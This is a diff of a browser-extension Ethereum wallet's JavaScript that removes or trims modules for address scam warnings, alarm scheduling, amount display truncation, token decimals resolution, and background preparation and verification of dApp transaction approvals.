// When decoded details are present, the Amount and To are already
|
||||
// shown inside the decoded well — hide the top-level duplicates.
|
||||
const summarySection = $("success-tx-summary").parentElement;
|
||||
const toSection = $("success-tx-to").parentElement;
|
||||
if (hasDecoded) {
|
||||
summarySection.classList.add("hidden");
|
||||
toSection.classList.add("hidden");
|
||||
} else {
|
||||
summarySection.classList.remove("hidden");
|
||||
toSection.classList.remove("hidden");
|
||||
$("success-tx-summary").textContent = d.amount + " " + d.symbol;
|
||||
$("success-tx-to").innerHTML = toAddressHtml(d.to);
|
||||
}
|
||||
|
||||
$("success-tx-block").innerHTML = blockNumberHtml(d.blockNumber);
|
||||
$("success-tx-block").textContent = String(d.blockNumber);
|
||||
$("success-tx-hash").innerHTML = txHashHtml(d.hash);
|
||||
|
||||
// Show decoded calldata details if present
|
||||
const decodedEl = $("success-tx-decoded");
|
||||
if (decodedEl && hasDecoded) {
|
||||
if (decodedEl && d.decoded) {
|
||||
decodedEl.innerHTML = decodedDetailsHtml(d.decoded);
|
||||
decodedEl.classList.remove("hidden");
|
||||
} else if (decodedEl) {
|
||||
@@ -305,12 +189,9 @@ function renderSuccess() {
|
||||
}
|
||||
|
||||
function showError(txInfo, txHash, message) {
|
||||
endWait();
|
||||
clearTimers();
|
||||
|
||||
const symbol =
|
||||
txInfo.token === "ETH"
|
||||
? "ETH"
|
||||
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
||||
state.viewData = {
|
||||
amount: txInfo.amount,
|
||||
symbol: symbol,
|
||||
@@ -344,23 +225,14 @@ function isApprovalPopup() {
|
||||
}
|
||||
|
||||
function navigateBack() {
|
||||
// Nothing should still be polling by now, but leaving a view is the
|
||||
// point at which its timers must be gone.
|
||||
endWait();
|
||||
if (isApprovalPopup()) {
|
||||
window.close();
|
||||
return;
|
||||
}
|
||||
// After a completed transaction, reset the navigation stack
|
||||
// and go directly to the address view (token or detail).
|
||||
// Use require() lazily to call show() without the ctx push wrapper.
|
||||
clearViewStack();
|
||||
state.viewStack.push("main");
|
||||
if (state.selectedToken) {
|
||||
state.viewStack.push("address");
|
||||
require("./addressToken").show();
|
||||
ctx.showAddressToken();
|
||||
} else {
|
||||
require("./addressDetail").show();
|
||||
ctx.showAddressDetail();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -371,12 +243,4 @@ function init(_ctx) {
|
||||
$("btn-error-tx-done").addEventListener("click", navigateBack);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
init,
|
||||
showWait,
|
||||
restoreWait,
|
||||
endWait,
|
||||
showError,
|
||||
renderSuccess,
|
||||
renderError,
|
||||
};
|
||||
module.exports = { init, showWait, showError, renderSuccess, renderError };
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
// Address warning module.
|
||||
// Provides local and async (RPC-based) warning checks for Ethereum addresses.
|
||||
// Returns arrays of {type, message, severity} objects.
|
||||
|
||||
const { isScamAddress } = require("./scamlist");
|
||||
const { isBurnAddress } = require("./constants");
|
||||
const { checkEtherscanLabel } = require("./etherscanLabels");
|
||||
const { log } = require("./log");
|
||||
|
||||
/**
|
||||
* Check an address against local-only lists (scam, burn, self-send).
|
||||
* Synchronous — no network calls.
|
||||
*
|
||||
* @param {string} address - The target address to check.
|
||||
* @param {object} [options] - Optional context.
|
||||
* @param {string} [options.fromAddress] - Sender address (for self-send check).
|
||||
* @returns {Array<{type: string, message: string, severity: string}>}
|
||||
*/
|
||||
function getLocalWarnings(address, options = {}) {
|
||||
const warnings = [];
|
||||
const addr = address.toLowerCase();
|
||||
|
||||
if (isScamAddress(addr)) {
|
||||
warnings.push({
|
||||
type: "scam",
|
||||
message:
|
||||
"This address is on a known scam/fraud list. Do not send funds to this address.",
|
||||
severity: "critical",
|
||||
});
|
||||
}
|
||||
|
||||
if (isBurnAddress(addr)) {
|
||||
warnings.push({
|
||||
type: "burn",
|
||||
message:
|
||||
"This is a known null/burn address. Funds sent here are permanently destroyed and cannot be recovered.",
|
||||
severity: "critical",
|
||||
});
|
||||
}
|
||||
|
||||
if (options.fromAddress && addr === options.fromAddress.toLowerCase()) {
|
||||
warnings.push({
|
||||
type: "self-send",
|
||||
message: "You are sending to your own address.",
|
||||
severity: "warning",
|
||||
});
|
||||
}
|
||||
|
||||
return warnings;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check an address against local lists AND via RPC queries.
|
||||
* Async — performs network calls to check contract status and tx history.
|
||||
*
|
||||
* @param {string} address - The target address to check.
|
||||
* @param {object} provider - An ethers.js provider instance.
|
||||
* @param {object} [options] - Optional context.
|
||||
* @param {string} [options.fromAddress] - Sender address (for self-send check).
|
||||
* @returns {Promise<Array<{type: string, message: string, severity: string}>>}
|
||||
*/
|
||||
async function getFullWarnings(address, provider, options = {}) {
|
||||
const warnings = getLocalWarnings(address, options);
|
||||
|
||||
let isContract = false;
|
||||
try {
|
||||
const code = await provider.getCode(address);
|
||||
if (code && code !== "0x") {
|
||||
isContract = true;
|
||||
warnings.push({
|
||||
type: "contract",
|
||||
message:
|
||||
"This address is a smart contract, not a regular wallet.",
|
||||
severity: "warning",
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
log.errorf("contract check failed:", e.message);
|
||||
}
|
||||
|
||||
// Skip tx count check for contracts — they may legitimately have
|
||||
// zero inbound EOA transactions.
|
||||
if (!isContract) {
|
||||
try {
|
||||
const txCount = await provider.getTransactionCount(address);
|
||||
if (txCount === 0) {
|
||||
warnings.push({
|
||||
type: "new-address",
|
||||
message:
|
||||
"This address has never sent a transaction. Double-check it is correct.",
|
||||
severity: "info",
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
log.errorf("tx count check failed:", e.message);
|
||||
}
|
||||
}
|
||||
|
||||
// Etherscan label check (best-effort async — network failures are silent).
|
||||
// Runs for ALL addresses including contracts, since many dangerous
|
||||
// flagged addresses on Etherscan (drainers, phishing contracts) are contracts.
|
||||
try {
|
||||
const etherscanWarning = await checkEtherscanLabel(address);
|
||||
if (etherscanWarning) {
|
||||
warnings.push(etherscanWarning);
|
||||
}
|
||||
} catch (e) {
|
||||
log.errorf("etherscan label check failed:", e.message);
|
||||
}
|
||||
|
||||
return warnings;
|
||||
}
|
||||
|
||||
module.exports = { getLocalWarnings, getFullWarnings };
|
||||
@@ -1,134 +0,0 @@
|
||||
// Periodic scheduling for the background context.
|
||||
//
|
||||
// The Chrome MV3 service worker is terminated after roughly 30 seconds idle,
|
||||
// which takes every setInterval/setTimeout with it. The extension alarms API
|
||||
// is the mechanism that survives: the browser holds the schedule and wakes
|
||||
// the worker to deliver onAlarm. Firefox MV2 runs a persistent background
|
||||
// page where timers would survive, but alarms behave identically there, so
|
||||
// both targets share this path and both manifests declare the "alarms"
|
||||
// permission.
|
||||
//
|
||||
// Periods are whole minutes at or above the browser-enforced one-minute
|
||||
// minimum, so nothing here is silently clamped to a slower cadence.
|
||||
//
|
||||
// Trap for anyone changing a period: each job also carries a freshness guard
|
||||
// that can veto its own scheduled tick. A guard timed to the alarm period
|
||||
// halves the real cadence, because the guard is measured from when the last
|
||||
// run finished and the alarm fires one run-duration earlier than that. Every
|
||||
// guard must therefore either be strictly shorter than the period it gates or
|
||||
// be bypassed on the scheduled tick — see backgroundRefresh() in
|
||||
// src/background/index.js.
|
||||
|
||||
const { alarmsApi } = require("./browserApi");
|
||||
|
||||
const BALANCE_REFRESH_ALARM = "autistmask-balance-refresh";
|
||||
|
||||
// Alarms this extension used to create and no longer has a handler for. A
|
||||
// browser keeps an alarm until something clears it, so a job that is deleted
|
||||
// from the code goes on waking the service worker on its old schedule forever,
|
||||
// on every install that ever ran the version which created it. Removing the job
|
||||
// means removing the alarm, so retired names are listed here and cleared on
|
||||
// every start until the installs that carry them are long gone.
|
||||
const OBSOLETE_ALARMS = [
|
||||
// The 24-hour phishing blocklist refresh, retired when the runtime fetch
|
||||
// was removed and the list became purely build-time vendored.
|
||||
"autistmask-phishing-refresh",
|
||||
];
|
||||
|
||||
const MIN_ALARM_PERIOD_MINUTES = 1;
|
||||
const BALANCE_REFRESH_PERIOD_MINUTES = 1;
|
||||
|
||||
// alarmsApi() resolves on use rather than at module load: the worker is torn
|
||||
// down and re-evaluated repeatedly, and tests install a stub after requiring
|
||||
// this module. It returns null where the API is absent, which is why every
|
||||
// entry point below degrades instead of throwing.
|
||||
|
||||
/**
|
||||
* Create an alarm unless one with the requested period already exists.
|
||||
*
|
||||
* The existence check is load-bearing: creating an alarm resets its schedule,
|
||||
* and this runs on every worker wake. Creating unconditionally would push the
|
||||
* next fire time out on every incoming message, so a busy extension would
|
||||
* never see the alarm fire at all.
|
||||
*
|
||||
* The period comparison is equally load-bearing in the other direction: an
|
||||
* alarm created by an older version keeps its old period forever unless a
|
||||
* changed constant re-creates it, so a period edit would never reach an
|
||||
* existing install. Re-creating on a period change happens once and then
|
||||
* settles into the existence check above.
|
||||
*
|
||||
* @param {string} name
|
||||
* @param {number} periodInMinutes
|
||||
* @returns {Promise<boolean>} true if the alarm was created by this call.
|
||||
*/
|
||||
async function ensureAlarm(name, periodInMinutes) {
|
||||
const api = alarmsApi();
|
||||
if (!api) return false;
|
||||
const period = Math.max(periodInMinutes, MIN_ALARM_PERIOD_MINUTES);
|
||||
const existing = await api.get(name);
|
||||
if (existing && existing.periodInMinutes === period) return false;
|
||||
api.create(name, {
|
||||
periodInMinutes: period,
|
||||
delayInMinutes: period,
|
||||
});
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear every alarm this extension no longer handles.
|
||||
*
|
||||
* @returns {Promise<string[]>} the retired alarms this call actually cleared.
|
||||
*/
|
||||
async function clearObsoleteAlarms() {
|
||||
const api = alarmsApi();
|
||||
if (!api || !api.clear) return [];
|
||||
const cleared = [];
|
||||
for (const name of OBSOLETE_ALARMS) {
|
||||
if (await api.clear(name)) cleared.push(name);
|
||||
}
|
||||
return cleared;
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure the recurring background jobs are scheduled, and that retired ones are
|
||||
* not. Safe to call on every worker start, on onInstalled and on onStartup.
|
||||
*
|
||||
* @returns {Promise<{balance: boolean, cleared: string[]}>} which alarms this
|
||||
* call had to create, and which retired ones it removed.
|
||||
*/
|
||||
async function ensureRecurringAlarms() {
|
||||
const balance = await ensureAlarm(
|
||||
BALANCE_REFRESH_ALARM,
|
||||
BALANCE_REFRESH_PERIOD_MINUTES,
|
||||
);
|
||||
const cleared = await clearObsoleteAlarms();
|
||||
return { balance, cleared };
|
||||
}
|
||||
|
||||
/**
|
||||
* Register per-alarm handlers. One listener dispatches by alarm name so the
|
||||
* worker only ever installs a single onAlarm listener.
|
||||
*
|
||||
* @param {Object<string, function>} handlers
|
||||
* @returns {boolean} true if the listener was installed.
|
||||
*/
|
||||
function registerAlarmHandlers(handlers) {
|
||||
const api = alarmsApi();
|
||||
if (!api || !api.onAlarm) return false;
|
||||
api.onAlarm.addListener((alarm) => {
|
||||
const handler = handlers[alarm && alarm.name];
|
||||
if (handler) handler();
|
||||
});
|
||||
return true;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
BALANCE_REFRESH_ALARM,
|
||||
OBSOLETE_ALARMS,
|
||||
MIN_ALARM_PERIOD_MINUTES,
|
||||
BALANCE_REFRESH_PERIOD_MINUTES,
|
||||
clearObsoleteAlarms,
|
||||
ensureAlarm,
|
||||
ensureRecurringAlarms,
|
||||
registerAlarmHandlers,
|
||||
};
|
||||
@@ -1,46 +0,0 @@
|
||||
// The 4-decimal amount rule from README.md's Display Consistency section, and
|
||||
// the one exception to it, in one place. Three call sites had grown their own
|
||||
// copy of the truncation — the history and balance lists
|
||||
// (`src/shared/transactions.js`), the approval screen's ERC-20 amount line
|
||||
// (`src/popup/views/approval.js`) and its Uniswap swap detail lines
|
||||
// (`src/shared/uniswap.js`) — and a fix applied to one of them left the other
|
||||
// two showing a different number for the same value.
|
||||
//
|
||||
// The two functions below are the two policies, not two implementations of
|
||||
// one: summary lists truncate, and the screens that state what is being
|
||||
// authorized truncate with a floor. Keeping them adjacent is the point, so a
|
||||
// change to the rule cannot reach one screen and miss another.
|
||||
|
||||
// Truncate to exactly four decimal places. Truncation, never rounding: an
|
||||
// amount must never be displayed as larger than it is, so 0.99999 stays
|
||||
// 0.9999.
|
||||
function truncateAmount(val) {
|
||||
const parts = val.split(".");
|
||||
if (parts.length === 1) return val + ".0000";
|
||||
return parts[0] + "." + (parts[1] + "0000").slice(0, 4);
|
||||
}
|
||||
|
||||
// The same rule, plus the invariant the approval and confirmation screens
|
||||
// hold: a nonzero amount never renders as zero. Truncating to four decimals
|
||||
// does exactly that to an amount below 0.0001 — one base unit of an 18-decimal
|
||||
// token, 500 of an 8-decimal one — and a real transfer or allowance then reads
|
||||
// as "nothing is being moved" on the screen whose whole job is to say what is
|
||||
// being authorized.
|
||||
//
|
||||
// When the truncated string carries no significant digit and the value does,
|
||||
// the amount is extended to its first significant digit instead. It stays in
|
||||
// token units, the same unit as the symbol printed beside it. A genuine zero
|
||||
// still renders 0.0000, and anything at or above the floor is untouched.
|
||||
function truncateAmountNeverZero(val) {
|
||||
const truncated = truncateAmount(val);
|
||||
// Tests the whole truncated string, integer part included: 1.00005 has a
|
||||
// significant digit already and stays 1.0000.
|
||||
if (/[1-9]/.test(truncated)) return truncated;
|
||||
const parts = val.split(".");
|
||||
if (parts.length === 1) return truncated;
|
||||
const sig = parts[1].search(/[1-9]/);
|
||||
if (sig === -1) return truncated;
|
||||
return parts[0] + "." + parts[1].slice(0, sig + 1);
|
||||
}
|
||||
|
||||
module.exports = { truncateAmount, truncateAmountNeverZero };
|
||||
@@ -1,88 +0,0 @@
|
||||
// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
|
||||
// to display when there is no such scale.
|
||||
//
|
||||
// The approval screen decodes `transfer` and `approve` calldata into a
|
||||
// quantity the user confirms against. That quantity is a base-unit integer,
|
||||
// and turning it into a number a person can read needs the token's decimals.
|
||||
// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
|
||||
// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
|
||||
// default of 18 it reads `0.0000`, and a user who reads zero signs.
|
||||
//
|
||||
// So a scale is either found or the amount is not formatted. Decimals are
|
||||
// looked for in the bundled token list, then in the tokens the user tracks,
|
||||
// then in what the block explorer reported for the contract; where none of
|
||||
// them answers, unknownDecimalsAmount() renders the base-unit integer with the
|
||||
// unknown scale stated, and no formatUnits() call is reached at all.
|
||||
//
|
||||
// The Uniswap decoder's Amount and Min. received lines land on this same
|
||||
// screen and use these same two functions, so there is one way of resolving a
|
||||
// scale and one way of saying there is none.
|
||||
//
|
||||
// This is the display counterpart to transferAmount.js, which takes the same
|
||||
// stance on the wallet's own send path: an amount whose scale is unknown or
|
||||
// disputed is refused rather than guessed at.
|
||||
|
||||
// Solidity's decimals() is a uint8, and every source here is ultimately
|
||||
// reporting that call's result. toDecimals() is that check, shared with the
|
||||
// send path rather than copied: the bundled list stores numbers, the
|
||||
// explorer's copy arrives as a string, and a token the user added by hand
|
||||
// carries whatever lookupTokenInfo() got back, so the accepted types are
|
||||
// enumerated rather than coerced.
|
||||
const { toDecimals } = require("./transferAmount");
|
||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||
|
||||
// Every decimals the explorer reported for this contract, across all the
|
||||
// addresses whose balances have been fetched. They describe one contract, so
|
||||
// they should agree; a set that does not agree is a scale in dispute, and this
|
||||
// screen has no way to tell which member is the true one.
|
||||
function explorerDecimals(lower, wallets) {
|
||||
let found = null;
|
||||
for (const wallet of wallets || []) {
|
||||
for (const addr of wallet.addresses || []) {
|
||||
for (const tb of addr.tokenBalances || []) {
|
||||
if ((tb.address || "").toLowerCase() !== lower) continue;
|
||||
const d = toDecimals(tb.decimals);
|
||||
if (d === null) continue;
|
||||
if (found !== null && found !== d) return null;
|
||||
found = d;
|
||||
}
|
||||
}
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
// The decimals to render a token amount with, or null when nothing knows.
|
||||
// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
|
||||
function resolveTokenDecimals(tokenAddress, sources) {
|
||||
const lower = (tokenAddress || "").toLowerCase();
|
||||
if (!lower) return null;
|
||||
|
||||
const bundled = TOKEN_BY_ADDRESS.get(lower);
|
||||
if (bundled) {
|
||||
const d = toDecimals(bundled.decimals);
|
||||
if (d !== null) return d;
|
||||
}
|
||||
|
||||
const tracked = ((sources && sources.trackedTokens) || []).find(
|
||||
(t) => (t.address || "").toLowerCase() === lower,
|
||||
);
|
||||
if (tracked) {
|
||||
const d = toDecimals(tracked.decimals);
|
||||
if (d !== null) return d;
|
||||
}
|
||||
|
||||
return explorerDecimals(lower, sources && sources.wallets);
|
||||
}
|
||||
|
||||
// What the amount line reads when the scale is unknown. The base units are
|
||||
// exact and the caveat is part of the same string, so the number on the screen
|
||||
// cannot be mistaken for a token quantity, and it can never read as zero for a
|
||||
// transfer that is not zero.
|
||||
function unknownDecimalsAmount(rawAmount) {
|
||||
return String(rawAmount) + " base units (decimals unknown)";
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
resolveTokenDecimals,
|
||||
unknownDecimalsAmount,
|
||||
};
|
||||
@@ -1,213 +0,0 @@
|
||||
// Preparation of the transaction an approval screen displays.
|
||||
//
|
||||
// A dApp's eth_sendTransaction normally fixes only `to`, `value` and `data`.
|
||||
// The nonce, the gas limit and the fees have to be filled in from the network
|
||||
// before anything can be signed, and whoever fills them in decides what the
|
||||
// user is shown. That work used to happen in the popup, after the user had
|
||||
// already approved: the numbers on the approval screen came from the popup and
|
||||
// were compared against nothing, so a compromised popup could display one fee
|
||||
// and sign another, and the ceilings in approvalVerify.js were all that stood
|
||||
// between the user and a fee that hands the validator the balance.
|
||||
//
|
||||
// So it happens here instead, in the background, before the approval window is
|
||||
// opened. The background populates the transaction, shows that object, and
|
||||
// verifies the signed artifact against that same object — the popup is handed
|
||||
// a finished transaction and signs it as given. Every field the user reads is
|
||||
// then a field that is compared.
|
||||
//
|
||||
// The cost is an RPC round trip before the approval window exists. Nothing is
|
||||
// displayed while it is in flight, and a failure — an unreachable node, a
|
||||
// reverting gas estimate, a transaction type this wallet does not sign, a fee
|
||||
// past the ceilings — means no approval and no window at all: the error goes
|
||||
// back to the requesting page, which is where the user's click came from. That
|
||||
// is deliberate. The alternative, opening the window first and populating
|
||||
// behind a spinner, needs a pending approval that exists before it can be
|
||||
// displayed or signed, and a half-initialised approval is exactly the state
|
||||
// the settle interlock in the background exists to keep out of that record.
|
||||
// The failure also lands earlier than it used to rather than later: the same
|
||||
// estimate previously failed after the user had typed their password.
|
||||
|
||||
const {
|
||||
VoidSigner,
|
||||
accessListify,
|
||||
getAddress,
|
||||
getBytes,
|
||||
hexlify,
|
||||
toQuantity,
|
||||
} = require("ethers");
|
||||
const {
|
||||
ALLOWED_TX_TYPES,
|
||||
SERIALIZED_FIELDS,
|
||||
assertWithinCeilings,
|
||||
} = require("./approvalVerify");
|
||||
|
||||
// How long the population may take before the request is failed back to the
|
||||
// page. Without a bound a hung RPC endpoint leaves the dApp's promise pending
|
||||
// forever with nothing on screen to explain it; ethers' own request timeout is
|
||||
// minutes long, which is not a wait anyone will sit through.
|
||||
const POPULATE_TIMEOUT_MS = 20000;
|
||||
|
||||
// The request fields taken from the page. Anything else is dropped rather than
|
||||
// passed to ethers: the object is page-controlled, and a future ethers that
|
||||
// learns to carry a new transaction field must not start picking one up out of
|
||||
// it without this module knowing.
|
||||
const REQUEST_FIELDS = [
|
||||
"to",
|
||||
"value",
|
||||
"data",
|
||||
"nonce",
|
||||
"gasLimit",
|
||||
"gasPrice",
|
||||
"maxFeePerGas",
|
||||
"maxPriorityFeePerGas",
|
||||
"chainId",
|
||||
"accessList",
|
||||
"type",
|
||||
];
|
||||
|
||||
class ApprovalPrepareError extends Error {
|
||||
constructor(message) {
|
||||
super(message);
|
||||
this.name = "ApprovalPrepareError";
|
||||
}
|
||||
}
|
||||
|
||||
function fail(message) {
|
||||
return new ApprovalPrepareError(message);
|
||||
}
|
||||
|
||||
function present(v) {
|
||||
return v !== null && v !== undefined && v !== "";
|
||||
}
|
||||
|
||||
// These strings reach the user through the requesting page, so they are full
|
||||
// sentences even when the tail of one came from ethers or from the node.
|
||||
function sentence(text) {
|
||||
return /[.!?]$/.test(text) ? text : text + ".";
|
||||
}
|
||||
|
||||
// Reject a promise that has taken too long, and never leave the timer behind.
|
||||
async function withTimeout(promise, ms, message) {
|
||||
let timer = null;
|
||||
try {
|
||||
return await Promise.race([
|
||||
promise,
|
||||
new Promise((_resolve, reject) => {
|
||||
timer = setTimeout(() => reject(fail(message)), ms);
|
||||
}),
|
||||
]);
|
||||
} finally {
|
||||
if (timer !== null) clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
// The page's request, reduced to the fields this wallet acts on.
|
||||
function requestFrom(txParams, from) {
|
||||
const request = { from: getAddress(from) };
|
||||
for (const key of REQUEST_FIELDS) {
|
||||
if (present(txParams[key])) request[key] = txParams[key];
|
||||
}
|
||||
if (
|
||||
present(request.type) &&
|
||||
!ALLOWED_TX_TYPES.includes(Number(request.type))
|
||||
) {
|
||||
throw fail(
|
||||
"The site asked for a transaction of a type this wallet does not sign.",
|
||||
);
|
||||
}
|
||||
return request;
|
||||
}
|
||||
|
||||
// Turn a populated transaction into the object that crosses to the popup, is
|
||||
// displayed, and is compared with the signed artifact. It carries exactly the
|
||||
// fields its type serializes, plus the address it is to be signed by, and
|
||||
// every quantity as a hex string: extension messaging is JSON, which has no
|
||||
// bigint, and a field that did not survive the trip would be a field the user
|
||||
// was shown and nothing compared.
|
||||
function serializeApprovedTx(populated, from) {
|
||||
const type = Number(populated.type);
|
||||
if (!ALLOWED_TX_TYPES.includes(type)) {
|
||||
throw fail(
|
||||
"This transaction would have to be sent as a type this wallet does not sign.",
|
||||
);
|
||||
}
|
||||
const approved = { type, from: getAddress(from) };
|
||||
for (const key of SERIALIZED_FIELDS[type]) {
|
||||
if (key === "to") {
|
||||
approved.to = present(populated.to)
|
||||
? getAddress(populated.to)
|
||||
: null;
|
||||
} else if (key === "data") {
|
||||
approved.data = present(populated.data)
|
||||
? hexlify(getBytes(populated.data))
|
||||
: "0x";
|
||||
} else if (key === "accessList") {
|
||||
approved.accessList = accessListify(populated.accessList || []);
|
||||
} else if (key === "value") {
|
||||
approved.value = toQuantity(populated.value || 0);
|
||||
} else if (!present(populated[key])) {
|
||||
// Unreachable while populateTransaction() fills every quantity of
|
||||
// the type it produced. If it ever does not, the approval must not
|
||||
// be raised: an unfixed quantity is one the artifact cannot be
|
||||
// checked against.
|
||||
throw fail(
|
||||
"The transaction could not be prepared: the network did not supply a " +
|
||||
key +
|
||||
".",
|
||||
);
|
||||
} else {
|
||||
approved[key] = toQuantity(populated[key]);
|
||||
}
|
||||
}
|
||||
return approved;
|
||||
}
|
||||
|
||||
// Populate the transaction a site asked for, as the address it will be signed
|
||||
// by, and return the object to display, sign and verify against. Throws with a
|
||||
// full sentence when no approval can be raised.
|
||||
async function prepareApprovalTx(provider, from, txParams) {
|
||||
if (!present(from)) {
|
||||
throw fail("There is no active address to send this transaction from.");
|
||||
}
|
||||
const request = requestFrom(txParams || {}, from);
|
||||
|
||||
let populated;
|
||||
try {
|
||||
// The sequence ethers' own sendTransaction() runs internally, so the
|
||||
// nonce, gas, fee and chain id are populated exactly as they were when
|
||||
// the popup did this. VoidSigner cannot sign, which is the point: the
|
||||
// background prepares, the popup signs.
|
||||
populated = await withTimeout(
|
||||
new VoidSigner(getAddress(from), provider).populateTransaction(
|
||||
request,
|
||||
),
|
||||
POPULATE_TIMEOUT_MS,
|
||||
"The transaction could not be prepared: the network did not answer in time.",
|
||||
);
|
||||
} catch (e) {
|
||||
if (e instanceof ApprovalPrepareError) throw e;
|
||||
throw fail(
|
||||
sentence(
|
||||
"The transaction could not be prepared: " +
|
||||
(e.shortMessage ||
|
||||
e.message ||
|
||||
"the network did not answer"),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
const approved = serializeApprovedTx(populated, from);
|
||||
// The backstop, applied before the user is shown anything rather than
|
||||
// after they have approved it: what is displayed here is what gets signed,
|
||||
// so an RPC node reporting an absurd fee has to be refused here.
|
||||
assertWithinCeilings(approved);
|
||||
return approved;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
prepareApprovalTx,
|
||||
serializeApprovedTx,
|
||||
ApprovalPrepareError,
|
||||
POPULATE_TIMEOUT_MS,
|
||||
REQUEST_FIELDS,
|
||||
};
|
||||
@@ -1,778 +0,0 @@
|
||||
// Verification of the signed artifacts produced by the approval popup.
|
||||
//
|
||||
// Signing happens in the popup, where the password is entered; the background
|
||||
// only broadcasts the raw transaction and resolves the pending approval back
|
||||
// to the requesting page. So that moving the signing out of the background
|
||||
// does not turn the background into a blind relay, the background re-derives
|
||||
// the signer from the artifact and checks it against the approval it is
|
||||
// holding before acting on it. All recovery is delegated to ethers.
|
||||
//
|
||||
// What the artifact is checked against is the transaction the background
|
||||
// populated and the popup displayed (see approvalTx.js), not the request the
|
||||
// dApp made. The two differ in every field a dApp normally leaves out — nonce,
|
||||
// gas limit, fees — and those are the fields the user reads off the approval
|
||||
// screen, so comparing against the request would leave the numbers on screen
|
||||
// vouched for by nothing.
|
||||
//
|
||||
// The check is an allowlist, in both directions, because a denylist cannot be
|
||||
// correct against a transaction format that keeps gaining fields:
|
||||
//
|
||||
// - only transaction types 0, 1 and 2 are accepted. Every later EIP-2718 type
|
||||
// adds a field with consequences of its own — EIP-7702's authorizationList
|
||||
// rewrites the code at the signer's own account, EIP-4844's blob
|
||||
// commitments carry a separate fee — and a check that enumerates the fields
|
||||
// it refuses admits every one of them by default.
|
||||
// - after the per-field comparisons, the artifact is rebuilt from those
|
||||
// checked fields and nothing else, and the two are compared byte for byte.
|
||||
// Anything the artifact carries that this module does not name is absent
|
||||
// from the rebuild and changes the bytes, so the final assertion is that
|
||||
// the artifact *is* the approved transaction, not merely that it is not one
|
||||
// of the tampered shapes that were thought of.
|
||||
// - every comparison runs against the decode, but the string handed to
|
||||
// broadcastTransaction() is the artifact. So the artifact is also required
|
||||
// to be the canonical re-encoding of its own decode, which is what makes
|
||||
// the checked transaction and the broadcast bytes the same object rather
|
||||
// than two things that merely decode alike.
|
||||
//
|
||||
// Every consequential field is compared, and a mismatch is a refusal to act,
|
||||
// never a warning: what the user approved is what gets broadcast, or nothing
|
||||
// does.
|
||||
//
|
||||
// The approved transaction is required to fix every field its type serializes,
|
||||
// so there is no "the approval did not say" branch to fall through: a quantity
|
||||
// the approval does not carry is a refusal, because an artifact that cannot be
|
||||
// compared with what was displayed has not been checked. The chain id is
|
||||
// checked against the selected network as well as against the approval, which
|
||||
// is what makes a cross-chain replay impossible.
|
||||
//
|
||||
// Every failure message is a full sentence, because these strings are shown to
|
||||
// the user and returned to the dApp.
|
||||
|
||||
const {
|
||||
Transaction,
|
||||
accessListify,
|
||||
getAddress,
|
||||
getBytes,
|
||||
verifyMessage,
|
||||
verifyTypedData,
|
||||
} = require("ethers");
|
||||
|
||||
// The only transaction types this wallet signs: legacy, EIP-2930 and
|
||||
// EIP-1559. populateTransaction() produces nothing else, so nothing else can
|
||||
// be an artifact of an approval this wallet raised.
|
||||
const ALLOWED_TX_TYPES = [0, 1, 2];
|
||||
|
||||
// The serialized fields of each allowed type, which is also the complete set
|
||||
// of fields the checks below compare or bound. The artifact is rebuilt from
|
||||
// exactly these at the end of verification and compared byte for byte, so a
|
||||
// field outside this table cannot ride along unexamined.
|
||||
const SERIALIZED_FIELDS = {
|
||||
0: ["chainId", "nonce", "gasPrice", "gasLimit", "to", "value", "data"],
|
||||
1: [
|
||||
"chainId",
|
||||
"nonce",
|
||||
"gasPrice",
|
||||
"gasLimit",
|
||||
"to",
|
||||
"value",
|
||||
"data",
|
||||
"accessList",
|
||||
],
|
||||
2: [
|
||||
"chainId",
|
||||
"nonce",
|
||||
"maxPriorityFeePerGas",
|
||||
"maxFeePerGas",
|
||||
"gasLimit",
|
||||
"to",
|
||||
"value",
|
||||
"data",
|
||||
"accessList",
|
||||
],
|
||||
};
|
||||
|
||||
// Fields no allowed type may carry. The type allowlist already excludes every
|
||||
// type that defines them, and the structural check at the end of verification
|
||||
// would catch them anyway; they are named here so that an artifact carrying
|
||||
// one is refused with a message that says what it was.
|
||||
const FORBIDDEN_FIELDS = [
|
||||
{
|
||||
key: "authorizationList",
|
||||
message:
|
||||
"The signed transaction would hand the signing account over to another contract, which was not approved.",
|
||||
},
|
||||
{
|
||||
key: "blobVersionedHashes",
|
||||
message:
|
||||
"The signed transaction carries blob commitments, which were not approved.",
|
||||
},
|
||||
{
|
||||
key: "blobs",
|
||||
message:
|
||||
"The signed transaction carries blobs, which were not approved.",
|
||||
},
|
||||
{
|
||||
key: "maxFeePerBlobGas",
|
||||
message:
|
||||
"The signed transaction carries a blob gas fee, which was not approved.",
|
||||
},
|
||||
];
|
||||
|
||||
// Absolute ceilings — a BACKSTOP, not the primary control.
|
||||
//
|
||||
// The primary control is equality: every field of the artifact is compared
|
||||
// with the populated transaction the user was shown, so nothing the popup
|
||||
// signs can differ from the screen. What equality cannot bound is the
|
||||
// populated transaction itself, which is built from what the configured RPC
|
||||
// node answered — a node that reports an absurd fee gets that fee displayed,
|
||||
// and a user who does not read the fee line would approve it. These ceilings
|
||||
// bound that, and they are therefore applied where the transaction is
|
||||
// populated (approvalTx.js) as well as here.
|
||||
//
|
||||
// Above the block gas limit of every supported network (see networks.js), so
|
||||
// no transaction that could ever be included is refused by it.
|
||||
const MAX_GAS_LIMIT = 100000000n;
|
